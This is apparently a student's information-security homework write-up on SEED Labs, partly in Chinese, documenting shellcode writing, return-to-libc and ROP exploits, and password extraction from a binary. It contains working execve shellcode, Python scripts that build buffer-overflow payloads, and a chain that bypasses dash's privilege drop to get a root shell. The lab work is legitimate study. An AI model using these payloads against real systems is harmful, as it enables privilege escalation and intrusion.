Try   HackMD

information security hw3

3.1 SEED Lab

Task 1: Writing Assembly Code

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Task 2: Writing Shellcode (Approach 1)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

2.
我設 breakpoint 在 line 9 ,並且在 run 之後輸入 x/40bx $rbx 來取得
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

3.
在 call one 的時候會把 return address push 進去 stack 。在 one 裡面,我們用 pop rbx 把 return address 放到 rbx 裡面,我們的 return address 是指向 two 的/bin/sh ,因此我們可以把它 mov [rbx+8], rbx 放到 rbx + 8 的位置,就是我們在 two 那邊預留的 db ’AAAAAAAA’ ,因此我們就成功把 /bin/sh 放到 argv[0]。接著由於 rax 是存 0 ,我們把它放到 mov [rbx+16], rax rbx + 16 這個位置,記事我們在 two 那邊預留的 db ’BBBBBBBB’ ,因此我們就成功把 0 放到 argv[1]
In conclusion, line 12 mov [rbx+8], rbx and line 14 mov [rbx+16], rax set the values for argv[0] and argv[1], respectively.
4.
mov rdi, rbxlea rsi, [rbx+8] 代表的是把數值帶入 execve 的參數裡。rdi 代表第一個參數, rsi 代表第二個參數,我把 rbx 這個 /bin/sh 放入第一個參數,再把 rbx+8 也就是 argv 的記憶體位置用 lea 放進去第二個參數。

Task 2.b. Eliminate zeros from the code

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

mov rax, 0x00, mov rdx, 0x00, mov rax, 59 這三個會有 0 。

section .text
  global _start
    _start:
        BITS 64
        jmp short two
    one:
        pop rbx

        xor al, al
        mov [rbx+7],  al

        mov [rbx+8],  rbx  ; store rbx to memory at address rbx + 8
        xor rax, rax       ;
        mov [rbx+16], rax  ; store rax to memory at address rbx + 16

        mov rdi, rbx       ; rdi = rbx
        lea rsi, [rbx+8]   ; rsi = rbx + 8
        xor rdx, rdx       ;
        mov rax, 0xFFFFFFFFFFFFFF3b        ; rax = 59
        shl rax, 56        ;
        shr rax, 56        ;
        syscall
     two:
        call one
        db '/bin/sh', 0xFF ; The command string (terminated by a zero)
        db 'AAAAAAAA'      ; Place holder for argv[0]
        db 'BBBBBBBB'      ; Place holder for argv[1]

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Task 2.c. Run a more complicated command

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

section .text
  global _start
    _start:
        BITS 64
        jmp short two
    one:
        pop rbx;        

        xor al, al;
        mov [rbx+9],  al;
        mov [rbx+12], al;
        mov [rbx+31], al;

        lea rdi, [rbx]     ;
        lea rsi, [rbx+10]   ;
        lea rdx, [rbx+13]  ;

        mov [rbx+32], rdi  ;
        mov [rbx+40], rsi  ;
        mov [rbx+48], rdx  ;
        xor rax, rax       ;
        mov [rbx+56], rax  ;

        mov rdi, rbx       ;
        lea rsi, [rbx+32]  ;
        xor rdx, rdx       ;
        mov rax, 0xFFFFFFFFFFFFFF3b        ; rax = 59
        shl rax, 56        ;
        shr rax, 56        ;
        syscall
     two:
        call one
        db '/bin/bash', 0xFF ; The command string (terminated by a zero)
        db '-c', 0xFF      ;
        db 'echo hello; ls -la', 0xFF;
        db 'AAAAAAAA'      ; Place holder for argv[0] 
        db 'BBBBBBBB'      ; Place holder for argv[1]
        db 'CCCCCCCC'      ;
        db 'DDDDDDDD'      ;

Task 2.d. Pass environment variables

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

section .text
  global _start
    _start:
        BITS 64
        jmp short two
    one:
        pop rbx;

        xor al, al;
        mov [rbx+12], al;
        mov [rbx+22], al;
        mov [rbx+32], al;
        mov [rbx+48], al;

        lea rdi, [rbx]     ;
        ; argv
        mov [rbx+49], rdi  ;
        xor rax, rax ;
        mov [rbx+57], rax  ;

        lea rsi, [rbx+13]   ;
        lea rdx, [rbx+23]  ;
        lea rcx, [rbx+33]  ;

        mov [rbx+65], rsi  ;
        mov [rbx+73], rdx  ;
        mov [rbx+81], rcx  ;
        xor rax, rax       ;
        mov [rbx+89], rax  ;

        mov rdi, rbx       ;
        lea rsi, [rbx+49]  ;
        lea rdx, [rbx+65]  ;
        mov rax, 0xFFFFFFFFFFFFFF3b        ; rax = 59
        shl rax, 56        ;
        shr rax, 56        ;
        syscall
     two:
        call one
        db '/usr/bin/env', 0xFF ; The command string (terminated by a zero)
        db 'aaa=hello', 0xFF       ;
        db 'bbb=world', 0xFF;
        db 'ccc=hello world', 0xFF;
        db 'AAAAAAAA'      ; Place holder for argv[0]
        db 'BBBBBBBB'      ; Place holder for argv[1]
        db 'CCCCCCCC'      ;
        db 'DDDDDDDD'      ;
        db 'EEEEEEEE'      ;
        db 'FFFFFFFF'      ;

Task 3: Writing Shellcode (Approach 2)

Task 3.a

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

section .text
global _start
  _start:
    xor  rdx, rdx       ; 3rd argument (stored in rdx)
    push rdx

    mov rax, '-la/////';
    push rax            ;
    xor al, al          ;
    mov [rsp+3], al     ;

    mov rax, 'lo; ls  ' ;
    push rax            ;
    mov rax, 'echo hel' ;
    push rax            ;
    mov r8, rsp         ;

    xor rax, rax        ;
    push rax            ;
    mov rax, '-c//////' ;
    push rax            ;
    xor al, al          ;
    mov [rsp+2], al     ;
    mov r9, rsp         ;

    xor rax, rax        ;
    push rax            ;
    mov rax, '////bash' ;
    push rax            ;
    mov rax, '/bin////' ;
    push rax            ;
    mov rdi, rsp        ; 1st argument (stored in rdi)

    xor rax, rax        ;
    push rax            ;
    push r8             ;
    push r9             ;
    push rdi            ;
    mov rsi, rsp        ; 2nd argument (stored in rsi)

    xor rdx, rdx        ;

Task 3.b

第一種方式(jmp-call-pop)把所有字串資料集中放在程式碼段後方,透過 call 跳回來取得位址,用偏移量組成參數,整體看起來更簡潔、邏輯集中,也比較接近實際 exploit 用的 shellcode 結構。相比之下,第二種方式則是直接在堆疊中逐步組裝字串與參數,較為繁瑣且容易出錯,雖然直觀,但閱讀上較混亂。整體來說,我喜歡第一種,因為資料集中、邏輯清楚且維護起來比較輕鬆。
我比較喜歡第一種方式,因為它使用 jmp-call-pop 技巧讓資料和程式碼分離,架構清楚,且利用偏移量操作記憶體可以讓整體邏輯更集中易讀。相較於第二種手動 push 每一段字串、需要注意對齊與順序,第一種方式更有系統,也更像實際 shellcode 的寫法。

3.2 SEED Lab

Task 1: Finding out the Addresses of libc Functions

image

  • system() 的地址是 0xf7dbf760
  • exit() 的地址是 0xf7dabd00
  • _exit() 的地址是 0xf7e54170

Task 2: Putting the shell string in the memory

image

image

  • /bin/sh address is 0xffffd60f

Task 3: Launching the Attack

助教你敢相信嗎,我的 exit() 的記憶體位置最後是 00 ,所以 strcpy 會失敗,我想說我運氣真的太差了,所以我到 digitalocean 上重新開一個 vps ,並且重新安裝 seedlab ,結果又一樣,是 00 結尾。
最後我想到可以改用 _exit() ,exit() 也是呼叫 _exit() ,只是會把 file stream 關掉而已,所以我改用這個,我真的不想再開一個 vps 了。

image

#!/usr/bin/env python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) X = 36 sh_addr = 0xffffd60f # The address of "/bin/sh" content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little') Y = 28 system_addr = 0xf7dbf760 # The address of system() content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little') Z = 32 exit_addr = 0xf7e54170 # The address of exit() content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content)

Attack variation 1:

#!/usr/bin/env python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) X = 36 sh_addr = 0xffffd60f # The address of "/bin/sh" content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little') Y = 28 system_addr = 0xf7dbf760 # The address of system() content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little') # Z = 32 # exit_addr = 0xf7e54170 # The address of exit() # content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content)

image
也是可以攻擊,只是因為沒有給它 exit() 的記憶體位置,所以當 system() 結束時會跳到不知道哪個地方,而造成 segmentation fault ,就像 L 紀上課說的,會比較丑而已,不然沒關係。

Attack variation 2:

image
會失敗,因為我們的 /bin/sh 的記憶體位置為變,當我們的檔案長度不一樣的時候,這個 L 紀也講過,也在前面的 seedlab 有提到,所以老師上課才會取名 env55 ,確保檔案名稱長度一樣。

Task 4: Defeat Shell’s countermeasure

image

  • execv() address is 0xf7e54b40
#!/usr/bin/env python3 import sys def tobytes ( value ): return (value).to_bytes( 4, byteorder='little' ) # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) execv_addr = 0xf7e54b40 input_addr = 0xffffcfd0 bash_str_offset = 128 p_str_offset = bash_str_offset + 10 argv_offset = p_str_offset + 3 content[bash_str_offset:bash_str_offset+10] = b'/bin/bash\x00' content[p_str_offset:p_str_offset+3] = b'-p\x00' bash_addr = input_addr + bash_str_offset p_addr = input_addr + p_str_offset content[argv_offset:argv_offset+4] = tobytes(bash_addr) content[argv_offset+4:argv_offset+8] = tobytes(p_addr) content[argv_offset+8:argv_offset+12] = tobytes(0) ret_baseaddr = 28 content[ret_baseaddr:ret_baseaddr+4] = tobytes(execv_addr) dummy_ret_addr = 0x11223344 content[ret_baseaddr+4:ret_baseaddr+8] = tobytes(dummy_ret_addr) content[ret_baseaddr+8:ret_baseaddr+12] = tobytes(bash_addr) argv_addr = input_addr + argv_offset content[ret_baseaddr+12:ret_baseaddr+16] = tobytes(argv_addr) # Save content to a file with open("badfile", "wb") as f: f.write(content)

將程式在溢位後的 return address 改為指向 libc 裡的 execv 函式,並在 stack 上準備好 execv 所需要的參數。首先在輸入資料中擺上 /bin/bash 和 -p 的字串,接著在這些字串之後建立一個 argv 陣列,內容包含 /bin/bash、-p 的地址以及 NULL。這些資料會因為被寫入到 main 的 input buffer,而存在記憶體的某個位置,我們可以預測它們的地址並填入給 execv 使用。最後,透過 overflow 改掉 return address,讓程式回傳後跳到 execv,並且傳入準備好的字串與 argv 陣列位置,成功執行 /bin/bash -p 而不會掉權,取得 root shell。

image
成功了

Task 5 (Optional): Return-Oriented Programming

image

  • foo() 的地址是 0x5655623c
  • _exit() 的地址是 0xf7e54170

參考老師上課寫的 code

#!/usr/bin/python3 import sys def tobytes ( value ): return (value).to_bytes( 4, byteorder='little' ) foo_address = 0x5655622c exit_address = 0xf7e54170 content = bytearray( 0xaa for i in range( 24 ) ) content += tobytes( 0xFFFFFFFF ) for i in range( 10 ): content += tobytes( foo_address ) content += tobytes( exit_address ) with open( "badfile", "wb" ) as f: f.write( content )

image

3.3 NX

BIOS With NX

image

BIOS Without NX

盡力了,我的電腦是 msi 的,我打算直接用我電腦的 bios 做,但我實在找不到 NX bit 要在哪 disable 。
https://www.youtube.com/watch?v=E22LPY8GlHI
https://www.youtube.com/watch?v=IzAnxcr6WRI
https://www.youtube.com/watch?v=Pp3QfVGBbFo
https://www.youtube.com/watch?v=zL5KZVS6vxA
https://forum-en.msi.com/index.php?threads/nx-bit-in-bios.262039/
https://download-2.msi.com/archive/mnu_exe/mb/AMDAM5BIOStc.pdf
我也查閱了很多資料,但我這款就是找不到在哪裡關

490998598_1205115631190185_8944626884800434145_n
我有看到 advanced CPU configuration ,但是點進去,沒有可以關的地方,我也嘗試過查詢的方式,右上角那個按鈕,但是輸入相關字眼,execution, NX, bit ,依然無果。
因此這題我就查了相關資訊,並且給出判斷,我認為如果從 BIOS 那邊把 NX bit disable 掉,我們就可以直接在 stack 和 heap 上執行,而不用加上 -z execstack
我也附上我在這題用到的程式碼:
stack_shellcode.c

#include <stdio.h> #include <string.h> const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53" "\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; void test_stack_execution(){ char buffer[100]; memcpy(buffer, shellcode, sizeof(shellcode)); printf("try to execute shellcode on stack...\n"); printf("Shellcode address: %p\n", buffer); void (*func)() = (void (*)())buffer; func(); } int main(){ printf("main address: %p\n", main); test_stack_execution(); return 0; }

heap_shellcode.c

#include <stdlib.h> #include <stdio.h> #include <string.h> const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53" "\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; int main(int argc, char **argv) { char code[500]; char *c = malloc(1000); strcpy(c, shellcode); int (*func)() = (int(*)())c; func(); return 1; }

如果成功執行,我們就可以得到一個 shell 。

3.4 Password Guess

我們編譯過後的執行檔叫做 test

  1. 用 gdb ,這邊在編譯的時候有加上 -g 參數
    image
  2. 用 strings 指令直接掃描可列印的字串
    image

    就可以找到 Congratulation! The secret is uiwebqwhec12!
  3. 使用 readelf 去讀 .rodata
    image
  4. 使用 objdump 也可以 dump 出我們要的 secret
    image
  5. 由於第一個使用 gdb 我怕不給過,因為我在編譯時是有加上 -g 的,所以再加一個
    使用 hexdump 我們也可以得到 secret
    image

    image

3.5 Defeat DASH Countermeasure

這題是 https://blog.ch3nyang.top/post/seedlab_return2libc/ 的 Task 5 教我寫的,不是我自己想出來怎麼寫的。
攻擊 seedlab 提供的 retlib.c

#include <stdlib.h> #include <stdio.h> #include <string.h> #ifndef BUF_SIZE #define BUF_SIZE 12 #endif int bof(char *str) { char buffer[BUF_SIZE]; unsigned int *framep; // Copy ebp into framep asm("movl %%ebp, %0" : "=r" (framep)); /* print out information for experiment purpose */ printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer); printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep); strcpy(buffer, str); return 1; } void foo(){ static int i = 1; printf("Function foo() is invoked %d times\n", i++); return; } int main(int argc, char **argv) { char input[1000]; FILE *badfile; badfile = fopen("badfile", "r"); int length = fread(input, sizeof(char), 1000, badfile); printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input); printf("Input size: %d\n", length); bof(input); printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n"); return 1; }

image

  • /bin/sh address is 0xffffd610
  • setuid() address is 0xf7e75f10
  • _exit() address is 0xf7e54170
  • system() address is 0xf7dbf760
  • sprintf() address is 0xf7dcd550
  • leave address is 0x5655622a
  • ebp_bof address is 0xffffcfb8
  • foo() address is 0x5655622c
    image
#!/usr/bin/env python3 import sys def tobytes (value): return (value).to_bytes(4, byteorder= 'little') content = bytearray(0xaa for i in range (24)) sh_addr = 0xffffd610 setuid_addr = 0xf7e75f10 exit_addr = 0xf7e54170 system_addr = 0xf7dbf760 sprintf_addr = 0xf7dcd550 leaveret = 0x5655622a ebp_bof = 0xffffcfb8 foo_addr = 0x5655623c sprintf_arg1 = ebp_bof + 12 + 5*0x20 sprintf_arg2 = sh_addr + len("/bin/sh") ebp_next = ebp_bof + 0x20 content += tobytes(ebp_next) content += tobytes(leaveret) content += b'A' * (0x20 - 2*4) for i in range(4): ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(sprintf_addr) content += tobytes(leaveret) content += tobytes(sprintf_arg1) content += tobytes(sprintf_arg2) content += b'A' * (0x20 - 5*4) sprintf_arg1 += 1 ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(setuid_addr) content += tobytes(leaveret) content += tobytes(0xFFFFFFFF) content += b'A' * (0x20 - 4*4) ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(system_addr) content += tobytes(leaveret) content += tobytes(sh_addr) content += b'A' * (0x20 - 4*4) content += tobytes(0xFFFFFFFF) content += tobytes(exit_addr) with open("badfile", "wb") as f: f.write(content)

image